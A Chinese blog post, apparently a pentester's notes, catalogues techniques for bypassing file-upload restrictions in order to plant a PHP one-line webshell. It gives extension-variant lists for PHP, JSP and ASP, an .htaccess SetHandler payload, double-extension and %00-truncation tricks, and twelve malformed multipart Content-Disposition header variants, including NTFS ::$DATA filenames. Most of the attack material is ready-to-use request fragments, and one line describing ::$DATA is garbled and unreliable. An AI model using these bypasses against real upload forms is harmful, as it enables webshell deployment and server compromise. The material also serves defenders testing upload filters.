渗透思路笔记

Bypass上传绕过

一般思路

01 前端代码js校验

一般情况下将一句话木马修改成png格式,在上传符合条件后进行抓包,修改成php或其他格式的木马文件。

02 MIME文件类型校验

当上传后,提示文件类型不正确,也有可能是MIME校验
将Content-Type:image/jpeg 或者Content-Type:image/png

03 php多种扩展名绕过

如果是黑名单限制,上传php文件时出现提示,php被加入了黑名单,可以尝试上传php5,php4等其他扩展名文件绕过黑名单限制

语言可解析后缀
phpphp ,php5, php4, php3, php2,pHp , pHp5 , pHp4 , pHp3, pHp2 , html, htm, phtml, pht , Html, Htm, pHtml
jspjsp , jspa, jspx, jsw,jsv, jspf, jtml, jSp, jSpx, jSpa, jSw, jSv, jSpf, jHtml
aspasp,aspx, asa, asax , ascx, ashx, asmx, cer,aSp,aSpx, aSa,aSax, aScx, aShx, aSmx, cEr

04 可上传.htaccess文件时结合图片马绕过

通过上传png图片发现文件名并未改变,但是各种扩展名大小写都被限制,尝试上传名为“.htaccess”文件,内容为:

SetHandler  application/x-httpd-php

上传成功后便会使得所有文件解析为php并且执行,此时上传文件改为png格式成功上传,查看解析

05 后缀名双写绕过或加上大小写进行双写绕过

通过上传hack.php文件后查看文件后缀.php被过滤,猜测可能之过滤一次,尝试双写后缀名绕过,这里双写要注意:hack.pphphp和hack.phphpp产生的文件是不同的,过滤的顺序是从左往右的,所以hack.phphpp会生成文件hack.hpp,所以为了避免这种情况出现需要插入完整的php,Php,PHP等后缀

06 %00截断绕过

通过测试得知是后端白名单限制,对内容并未过滤,可对上传文件名进行%00截断或对上传路径进行截断

另类思路

默认状态

Content-Disposition: form-data; name=“filepath”; filename=“f.php”
Content-Type: image/png

思路一:

Content-Disposition: form-data; name=“filepath”; filename="[0x09]f.php"
Content-Type: image/png

思路二:除去双引号的限制

Content-Disposition: form-data; name=“filepath”; filename=f.php
Content-Type: image/png

思路三: 再次添加一个filename1

Content-Disposition: form-data; name=“filepath”; filename=“f.php”;filename1=“test.png”
Content-Type: image/png

思路四: form中间+

Content-Disposition: f+orm-data; name=“filepath”;filename=“f.php”
Content-Type: image/png

思路五: 大小写

ConTent-Disposition: form-data; name=“filepath”; filename=“f.php”
Content-Type: image/png

思路六:去掉form-data

ConTent-Disposition: name=“filepath”; filename=“f.php”
Content-Type: image/png

思路七:可以在Content-Disposition:后添加多个空格或者tab,或者在form-data;后添加多个空格或者tab

ConTent-Disposition: form-data; name=“filepath”; filename=“f.php”
Content-Type: image/png

思路八: f.php . (空格+.)

ConTent-Disposition: form-data; name=“filepath”; filename=“f.php .”
Content-Type: image/png

思路九: 对引号"换行

ConTent-Disposition: form-data; name=“filepath”; filename="f.php
"
Content-Type: image/png

思路十: NTFS流
在php+Windows的情况下:文件名如果+":: D A T A " 会 把 " : : DATA" 会把 ":: DATA""::DATA"之后的数据当成文件流处理,并且不会检测后缀名且保持”::$DATA”之前的文件名

抓包修改1.php为如图所示
ConTent-Disposition: form-data; name=“filepath”; filename=“f.php::$DATA”
Content-Type: image/png

ConTent-Disposition: form-data; name=“filepath”; filename=“f.php::$DATA\0x00\fuck.asp0x00.jpg”
Content-Type: image/png

思路十一: 构造如请求[上传f.php成功]:

[mw_shl_code=bash,true]Content-Disposition: form-data; name=“FileUploadName”; filename=“f.php”

Content-Disposition: form-data; name=“FileUploadName”; filename=“test.txt”
Content-Type: application/octet-stream
Content-Disposition: form-data; name=“FileUploadName”; filename=“test.asp”
Content-Disposition: form-data;
name=“FileUploadName”; filename=“f.php”[/mw_shl_code]

思路十二: 构造Content-Type和ConTent-Disposition换位

Content-Type: image/png
ConTent-Disposition: form-data; name=“filepath”; filename=“f.php”
变成
Content-Disposition: form-data; name=“filepath”; filename=“f.php”
Content-Type: image/png

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

疯狂的1998

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值